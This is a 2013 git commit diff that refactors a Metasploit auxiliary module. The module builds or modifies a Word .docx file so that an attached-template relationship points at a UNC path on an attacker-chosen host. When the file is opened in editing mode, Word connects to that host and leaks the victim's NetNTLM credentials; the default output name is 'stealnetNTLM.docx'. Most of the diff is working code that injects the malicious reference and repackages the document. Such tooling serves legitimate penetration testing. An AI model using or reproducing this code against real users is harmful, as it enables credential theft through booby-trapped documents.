Using snake_case, fixed using tmp files, changed errorhandling

bug/bundler_fix
SphaZ 2013-02-05 12:00:04 +01:00
parent fa1811ac38
commit 0f46ed72e1
1 changed files with 126 additions and 200 deletions

View File

@ -22,7 +22,7 @@ class Metasploit3 < Msf::Auxiliary
If emailed the receiver needs to put the document in editing mode If emailed the receiver needs to put the document in editing mode
before the remote server will be contacted. Preview and read-only before the remote server will be contacted. Preview and read-only
mode do not work. Verified to work with Microsoft Word 2003, mode do not work. Verified to work with Microsoft Word 2003,
2007 and 2010 as of Januari 2013 date by using auxiliary/server/capture/smb 2007 and 2010 as of January 2013 date by using auxiliary/server/capture/smb
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'References' => 'References' =>
@ -40,252 +40,178 @@ class Metasploit3 < Msf::Auxiliary
OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.','']), OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.','']),
OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document', '']), OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document', '']),
OptString.new('FILENAME', [true, 'Document output filename.', 'stealnetNTLM.docx']), OptString.new('FILENAME', [true, 'Document output filename.', 'stealnetNTLM.docx']),
OptString.new('DOCAUTHOR',[false,'Document author for empty document.', 'SphaZ']), OptString.new('DOCAUTHOR',[false,'Document author for empty document.', '']),
], self.class) ], self.class)
end end
#here we create an empty .docx file with the UNC path. Only done when FILENAME is empty #here we create an empty .docx file with the UNC path. Only done when FILENAME is empty
def makeNewFile def make_new_file
metadataFileData = "" metadata_file_data = ""
metadataFileData << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><cp:coreProperties" metadata_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><cp:coreProperties"
metadataFileData << " xmlns:cp=\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\" " metadata_file_data << " xmlns:cp=\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\" "
metadataFileData << "xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:dcterms=\"http://purl.org/dc/terms/\" " metadata_file_data << "xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:dcterms=\"http://purl.org/dc/terms/\" "
metadataFileData << "xmlns:dcmitype=\"http://purl.org/dc/dcmitype/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">" metadata_file_data << "xmlns:dcmitype=\"http://purl.org/dc/dcmitype/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">"
metadataFileData << "<dc:creator>#{datastore['DOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['DOCAUTHOR']}" metadata_file_data << "<dc:creator>#{datastore['DOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['DOCAUTHOR']}"
metadataFileData << "</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type=\"dcterms:W3CDTF\">" metadata_file_data << "</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type=\"dcterms:W3CDTF\">"
metadataFileData << "2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\"dcterms:W3CDTF\">" metadata_file_data << "2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\"dcterms:W3CDTF\">"
metadataFileData << "2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>" metadata_file_data << "2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>"
#where to find the skeleton files required for creating an empty document #where to find the skeleton files required for creating an empty document
dataDir = File.join(Msf::Config.install_root, "data", "exploits", "docx") data_dir = File.join(Msf::Config.install_root, "data", "exploits", "docx")
tmpDir = "#{Dir.tmpdir}/unc_tmp"
#setup temporary directory structure
begin
cleanupTmp(tmpDir)
FileUtils.mkdir_p("#{tmpDir}/docProps/")
FileUtils.mkdir_p("#{tmpDir}/word/_rels/")
rescue
print_error("Error generating temp directory structure.")
return nil
end
#here we store our on-the-fly created files
begin
f = File.open("#{tmpDir}/docProps/core.xml", 'wb')
f.write(metadataFileData)
f.close()
f = File.open("#{tmpDir}/word/_rels/settings.xml.rels", 'wb')
f.write(@relsFileData)
f.close()
rescue
print_error("Cant write to temp file.")
cleanupTmp(tmpDir)
return nil
end
#making the actual docx #making the actual docx
begin
docx = Rex::Zip::Archive.new docx = Rex::Zip::Archive.new
#add skeleton files #add skeleton files
vprint_status("Adding skeleton files from #{dataDir}") vprint_status("Adding skeleton files from #{data_dir}")
Dir["#{dataDir}/**/**"].each do |file| Dir["#{data_dir}/**/**"].each do |file|
if not File.directory?(file) if not File.directory?(file)
docx.add_file(file.sub(dataDir,''), File.read(file)) docx.add_file(file.sub(data_dir,''), File.read(file))
end end
end end
#add on-the-fly created documents #add on-the-fly created documents
vprint_status("Adding injected files") vprint_status("Adding injected files")
Dir["#{Dir.tmpdir}/unc_tmp/**/**"].each do |file| docx.add_file("docProps/core.xml", metadata_file_data)
if not File.directory?(file) docx.add_file("word/_rels/settings.xml.rels", @rels_file_data)
docx.add_file(file.sub("#{Dir.tmpdir}/unc_tmp/",''), File.read(file))
end
end
#add the otherwise skipped "hidden" file #add the otherwise skipped "hidden" file
file = "#{dataDir}/_rels/.rels" file = "#{data_dir}/_rels/.rels"
docx.add_file(file.sub(dataDir,''), File.read(file)) docx.add_file(file.sub(data_dir,''), File.read(file))
#and lets create the file
file_create(docx.pack) file_create(docx.pack)
rescue end
print_error("Error creating empty document #{datastore['FILENAME']}")
cleanupTmp(tmpDir) #here we inject an UNC path into an existing file, and store the injected file in FILENAME
def manipulate_file
#where do we unpack our source files
tmp_dir = "#{Dir.tmpdir}/unc#{Time.now.to_i}#{rand(1000)}/"
ref = "<w:attachedTemplate r:id=\"rId1\"/>"
if not File.exists?(datastore['SOURCE'])
print_error("File #{datastore['SOURCE']} does not exist.")
return nil return nil
end end
cleanupTmp(tmpDir)
return 0
end
#cleaning up of temporary files. If it fails we say so, but continue anyway
def cleanupTmp(dir)
begin
FileUtils.rm_rf(dir)
rescue
print_error("Error cleaning up tmp directory structure.")
end
end
#here we inject an UNC path into an existing file, and store the injected file in FILENAME
def manipulateFile
#where do we unpack our source file?
tmpDir = "#{Dir.tmpdir}/#{Time.now.to_i}#{rand(1000)}/"
ref = "<w:attachedTemplate r:id=\"rId1\"/>"
if File.exists?(datastore['SOURCE'])
if not File.stat(datastore['SOURCE']).readable? if not File.stat(datastore['SOURCE']).readable?
print_error("Not enough rights to read the file. Aborting.") print_error("Not enough rights to read the file. Aborting.")
return nil return nil
end end
#lets extract our docx #lets extract our docx
if unzipDocx(tmpDir).nil? if unzip_docx(tmp_dir).nil?
return nil return nil
end end
fileContent = File.read("#{tmpDir}/word/settings.xml") file_content = File.read("#{tmp_dir}/word/settings.xml")
if not fileContent.index("w:attachedTemplate r:id=\"rId1\"").nil? #if we can find the reference, we don't need to add it and can just inject our unc file.
if not file_content.index("w:attachedTemplate r:id=\"rId1\"").nil?
vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)") vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)")
update_docx_file(tmp_dir,"word/_rels/settings.xml.rels", @rels_file_data)
#we put just our rels file into the docx
if updateDocxFile(tmpDir,"word/_rels/settings.xml.rels", @relsFileData).nil?
return nil
end
# lets zip the end result # lets zip the end result
if zipDocx(tmpDir).nil? zip_docx(tmp_dir)
return nil
end
else else
#now insert the reference to the file that will enable our malicious entry #now insert the reference to the file that will enable our malicious entry
insertOne = fileContent.index("<w:defaultTabStop") insert_one = file_content.index("<w:defaultTabStop")
if insertOne.nil? if insert_one.nil?
insertTwo = fileContent.index("<w:hyphenationZone") # 2nd choice insert_two = file_content.index("<w:hyphenationZone") # 2nd choice
if not insertTwo.nil? if not insert_two.nil?
vprint_status("HypenationZone found, we use this for insertion.") vprint_status("HypenationZone found, we use this for insertion.")
fileContent.insert(insertTwo, ref ) file_content.insert(insert_two, ref )
end end
else else
vprint_status("DefaultTabStop found, we use this for insertion.") vprint_status("DefaultTabStop found, we use this for insertion.")
fileContent.insert(insertOne, ref ) file_content.insert(insert_one, ref )
end end
if insertOne.nil? && insertTwo.nil? if insert_one.nil? && insert_two.nil?
print_error("Cannot find insert point for reference into settings.xml") print_error("Cannot find insert point for reference into settings.xml")
cleanupTmp(tmpDir) FileUtils.rm_rf(tmp_dir)
return nil
end
#lets extract our docx
if unzipDocx(tmpDir).nil?
return nil return nil
end end
#update the files that contain the injection and reference #update the files that contain the injection and reference
if updateDocxFile(tmpDir, "word/settings.xml",fileContent).nil? update_docx_file(tmp_dir, "word/settings.xml",file_content)
print_error("Error inserting data into word/settings.xml") update_docx_file(tmp_dir, "word/_rels/settings.xml.rels", @rels_file_data)
return nil
end
if updateDocxFile(tmpDir, "word/_rels/settings.xml.rels", @relsFileData).nil?
print_error("Eror inserting data into word/_rels/settings.xml.rels")
return nil
end
#lets zip the file #lets zip the file
if zipDocx(tmpDir).nil? zip_docx(tmp_dir)
return nil
end end
end
else
print_error("File #{datastore['SOURCE']} does not exist.")
return nil
end
cleanupTmp(tmpDir)
return 0 return 0
end end
#making the actual docx #making the actual docx
def zipDocx(tmpDir) def zip_docx(tmp_dir)
begin
docx = Rex::Zip::Archive.new docx = Rex::Zip::Archive.new
#add skeleton files #add skeleton files
vprint_status("Adding files from #{tmpDir}") vprint_status("Adding files from #{tmp_dir}")
Dir["#{tmpDir}/**/**"].each do |file| Dir["#{tmp_dir}/**/**"].each do |file|
if not File.directory?(file) if not File.directory?(file)
docx.add_file(file.sub(tmpDir,''), File.read(file)) docx.add_file(file.sub(tmp_dir,''), File.read(file))
end end
end end
#add the otherwise skipped "hidden" file #add the otherwise skipped "hidden" file
file = "#{tmpDir}/_rels/.rels" file = "#{tmp_dir}/_rels/.rels"
docx.add_file(file.sub(tmpDir,''), File.read(file)) docx.add_file(file.sub(tmp_dir,''), File.read(file))
file_create(docx.pack) file_create(docx.pack)
rescue FileUtils.rm_rf(tmp_dir)
print_error("Error creating compressed document #{datastore['FILENAME']}")
cleanupTmp(tmpDir)
return nil
end
end end
#unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way #unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way
def unzipDocx(tmpDir) def unzip_docx(tmp_dir)
#create temoprary directory so we can do some error handling if needed.
begin begin
if not File.directory?(tmpDir) if File.directory?(tmp_dir)
vprint_status("Damn rubyzip cant be relied upon, so we do it the hard way. Extracting #{datastore['SOURCE']}") FileUtils.rm_rf(tmp_dir)
Zip::ZipFile.open(datastore['SOURCE']) do |fileZip|
fileZip.each do |entry|
fpath = File.join(tmpDir, entry.name)
FileUtils.mkdir_p(File.dirname(fpath))
fileZip.extract(entry, fpath)
end
end
end end
FileUtils.mkdir_p(tmp_dir)
rescue rescue
print_error("There was an error unzipping.") print_error("Error creating/deleting temporary directory #{tmp_dir}, check rights.")
cleanupTmp(tmpDir) return nil
end
#unzip the SOURCE document into the tmp_dir
vprint_status("Rubyzip sometimes corrupts the document, so we do it the hard way. Extracting #{datastore['SOURCE']}")
begin
Zip::ZipFile.open(datastore['SOURCE']) do |filezip|
filezip.each do |entry|
fpath = File.join(tmp_dir, entry.name)
FileUtils.mkdir_p(File.dirname(fpath))
filezip.extract(entry, fpath)
end
end
rescue Zip::ZipError => e
print_error("Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.")
return nil return nil
end end
return 0 return 0
end end
#used for updating the files inside the docx from a string #used for updating the files inside the docx from a string
def updateDocxFile(tmpDir,fileString, content) def update_docx_file(tmp_dir,file_string, content)
begin archive = File.join(tmp_dir, file_string)
archive = File.join(tmpDir, fileString)
vprint_status("We need to look for: #{archive}") vprint_status("We need to look for: #{archive}")
if File.exists?(archive) if File.exists?(archive)
vprint_status("Deleting original file #{archive}") vprint_status("Deleting original file #{archive}")
File.delete(archive) File.delete(archive)
end end
File.open(archive, 'wb+') { |f| f.write(content) } File.open(archive, 'wb+') { |f| f.write(content) }
rescue Exception => ex
print_error("Well, extracting and manipulating the file went wrong :(")
cleanupTmp(tmpDir)
return nil
end
return 0
end end
def run def run
#we need this in makeNewFile and manipulateFile #we need this in make_new_file and manipulate_file
@relsFileData = "" @rels_file_data = ""
@relsFileData << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>".chomp @rels_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>".chomp
@relsFileData << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">".chomp @rels_file_data << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">".chomp
@relsFileData << "<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/".chomp @rels_file_data << "<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/".chomp
@relsFileData << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>" @rels_file_data << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
if "#{datastore['SOURCE']}" == "" if "#{datastore['SOURCE']}" == ""
#make an empty file #make an empty file
print_status("Creating empty document") print_status("Creating empty document")
if not makeNewFile.nil? make_new_file
print_good("Success! Empty document #{datastore['FILENAME']} created.")
end
else else
#extract the word/settings.xml and edit in the reference we need #extract the word/settings.xml and edit in the reference we need
print_status("Injecting UNC path into existing document.") print_status("Injecting UNC path into existing document.")
if not manipulateFile.nil? if not manipulate_file.nil?
print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.") print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.")
end end
end end